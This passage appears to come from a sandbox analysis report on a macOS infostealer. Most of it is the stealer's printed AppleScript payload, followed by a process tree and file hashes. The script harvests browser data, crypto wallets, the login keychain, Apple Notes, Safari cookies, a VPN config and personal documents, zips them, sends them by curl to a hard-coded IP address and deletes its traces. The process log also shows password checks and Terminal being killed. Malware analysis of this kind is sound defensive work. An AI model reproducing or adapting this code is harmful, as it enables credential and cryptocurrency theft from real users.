\"Library:Group Containers:group.com.apple.notes:\" set notesAccounts to folder (notesFolderPath & \"Accounts:\") try --duplicate notesAccounts to photosPath with replacing end try try set notesFolder to folder notesFolderPath set notesFiles to {file \"NoteStore.sqlite\", file \"NoteStore.sqlite-shm\", file \"NoteStore.sqlite-wal\"} of notesFolder repeat with aFile in notesFiles try duplicate aFile to folder destinationFolderPath with replacing end try end repeat end try end try try set desktopFiles to every file of desktop set documentsFiles to every file of folder \"Documents\" of (path to home folder) set downloadsFiles to every file of folder \"Downloads\" of (path to home folder) repeat with aFile in (desktopFiles & documentsFiles & downloadsFiles) set fileExtension to name extension of aFile if fileExtension is in extensionsList then set filesize to size of aFile if (bankSize + filesize) < 10 * 1024 * 1024 then try duplicate aFile to folder destinationFolderPath with replacing set bankSize to bankSize + filesize end try else exit repeat end if end if end repeat end try end tell end try end filegrabber on send_data(attempt) try set result_send to (do shell script \"curl -X POST -H \\\"uuid: 3ffe5a5a94a04af5b2155e01e50fb82f\\\" -H \\\"user: admin\\\" -H \\\"buildid: 2025-01-29T04:53:42.406Z\\\" --data-binary @/tmp/out.zip http://65.20.101.215/p2p\") on error if attempt < 10 then delay 60 send_data(attempt + 1) end if end try end send_data on VPN(writemind, vpn_dirs) end VPN set username to (system attribute \"USER\") set profile to \"/Users/\" & username set writemind to \"/tmp/xuyna/\" try set result to (do shell script \"system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType\") writeText(result, writemind & \"user\") end try set library to profile & \"/Library/Application Support/\" set password_entered to getpwd(username, writemind) delay 0.01 set chromiumMap to {{\"Chrome\", library & \"Google/Chrome/\"}, {\"Brave\", library & \"BraveSoftware/Brave-Browser/\"}, {\"Edge\", library & \"Microsoft Edge/\"}, {\"Vivaldi\", library & \"Vivaldi/\"}, {\"Opera\", library & \"com.operasoftware.Opera/\"}, {\"OperaGX\", library & \"com.operasoftware.OperaGX/\"}, {\"Chrome Beta\", library & \"Google/Chrome Beta/\"}, {\"Chrome Canary\", library & \"Google/Chrome Canary\"}, {\"Chromium\", library & \"Chromium/\"}, {\"Chrome Dev\", library & \"Google/Chrome Dev/\"}} set walletMap to {{\"deskwallets/Electrum\", profile & \"/.electrum/wallets/\"}, {\"deskwallets/Coinomi\", library & \"Coinomi/wallets/\"}, {\"deskwallets/Exodus\", library & \"Exodus/\"}, {\"deskwallets/Atomic\", library & \"atomic/Local Storage/leveldb/\"}, {\"deskwallets/Wasabi\", profile & \"/.walletwasabi/client/Wallets/\"}, {\"deskwallets/Ledger_Live\", library & \"Ledger Live/\"}, {\"deskwallets/Monero\", profile & \"/Monero/wallets/\"}, {\"deskwallets/Bitcoin_Core\", library & \"Bitcoin/wallets/\"}, {\"deskwallets/Litecoin_Core\", library & \"Litecoin/wallets/\"}, {\"deskwallets/Dash_Core\", library & \"DashCore/wallets/\"}, {\"deskwallets/Electrum_LTC\", profile & \"/.electrum-ltc/wallets/\"}, {\"deskwallets/Electron_Cash\", profile & \"/.electron-cash/wallets/\"}, {\"deskwallets/Guarda\", library & \"Guarda/\"}, {\"deskwallets/Dogecoin_Core\", library & \"Dogecoin/wallets/\"}, {\"deskwallets/Trezor_Suite\", library & \"@trezor/suite-desktop/\"}} readwrite(library & \"Binance/app-store.json\", writemind & \"deskwallets/Binance/app-store.json\") readwrite(library & \"@tonkeeper/desktop/config.json\", \"deskwallets/TonKeeper/config.json\") readwrite(profile & \"/Library/Keychains/login.keychain-db\", writemind & \"keychain\") if release then readwrite(profile & \"/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite\", writemind & \"FileGrabber/NoteStore.sqlite\") readwrite(profile & \"/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite-wal\", writemind & \"FileGrabber/NoteStore.sqlite-wal\") readwrite(profile & \"/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite-shm\", writemind & \"FileGrabber/NoteStore.sqlite-shm\") readwrite(profile & \"/Library/Containers/com.apple.Safari/Data/Library/Cookies/Cookies.binarycookies\", writemind & \"FileGrabber/Cookies.binarycookies\") readwrite(profile & \"/Library/Cookies/Cookies.binarycookies\", writemind & \"FileGrabber/saf1\") end if if filegrabbers then filegrabber() end if writeText(username, writemind & \"username\") set ff_paths to {library & \"Firefox/Profiles/\", library & \"Waterfox/Profiles/\", library & \"Pale Moon/Profiles/\"} repeat with firefox in ff_paths try parseFF(firefox, writemind) end try end repeat chromium(writemind, chromiumMap) deskwallets(writemind, walletMap) --GrabFolderLimit(\"/tmp/photos/\", writemind & \"FileGrabber/NotesPhoto/\") --set vpns to {{\"OpenVPN\", library & \"OpenVPN Connect/profiles/\"}} readwrite(\"/Library/Application Support/Fortinet/FortiClient/conf/vpn.plist\", writemind & \"vpn/FortiVPN/vpn.plist\") do shell script \"ditto -c -k --sequesterRsrc \" & writemind & \" /tmp/out.zip\" send_data(0) do shell script \"rm -r \" & writemind do shell script \"rm -r /tmp/photos\" do shell script \"rm /tmp/out.zip\" "
                                                        2⤵
                                                          PID:523
                                                      • /bin/sh
                                                        sh -c "disown; pkill Terminal"
                                                        1⤵
                                                          PID:524
                                                        • /bin/bash
                                                          sh -c "disown; pkill Terminal"
                                                          1⤵
                                                            PID:524
                                                            • /usr/bin/pkill
                                                              pkill Terminal
                                                              2⤵
                                                                PID:525
                                                            • /bin/sh
                                                              sh -c "system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType"
                                                              1⤵
                                                                PID:528
                                                              • /bin/bash
                                                                sh -c "system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType"
                                                                1⤵
                                                                  PID:528
                                                                • /usr/sbin/system_profiler
                                                                  system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType
                                                                  1⤵
                                                                    PID:528
                                                                  • /usr/bin/csrutil
                                                                    /usr/bin/csrutil status
                                                                    1⤵
                                                                      PID:530
                                                                    • /bin/sh
                                                                      sh -c "mkdir -p '/tmp/xuyna'"
                                                                      1⤵
                                                                        PID:533
                                                                      • /bin/bash
                                                                        sh -c "mkdir -p '/tmp/xuyna'"
                                                                        1⤵
                                                                          PID:533
                                                                        • /bin/mkdir
                                                                          mkdir -p /tmp/xuyna
                                                                          1⤵
                                                                            PID:533
                                                                          • /bin/sh
                                                                            sh -c "dscl . authonly 'run' ''"
                                                                            1⤵
                                                                              PID:534
                                                                            • /bin/bash
                                                                              sh -c "dscl . authonly 'run' ''"
                                                                              1⤵
                                                                                PID:534
                                                                              • /usr/bin/dscl
                                                                                dscl . authonly run
                                                                                1⤵
                                                                                  PID:534

                                                                                Network

                                                                                MITRE ATT&CK Enterprise v15

                                                                                Replay Monitor

                                                                                Loading Replay Monitor...

                                                                                Downloads

                                                                                • /Users/run/.zsh_history

                                                                                  Filesize

                                                                                  557B

                                                                                  MD5

                                                                                  27a4ad6fd7288a32b27de1f8ea9d54f6

                                                                                  SHA1

                                                                                  857d6993f9d885dc5bab58d6b6f7eb676beacb93

                                                                                  SHA256

                                                                                  afa78cdb581215184b66f2fdd17315b6d42df3200a2aafe255593a447bb44280

                                                                                  SHA512

                                                                                  3f601b315ceff63674a53c50a8cf5d9f5634a15a12791c66303e0788128af0b1f6059d55037811526c7e6669796dbffa6cf01f47cb41442252c6dd8ed17fe115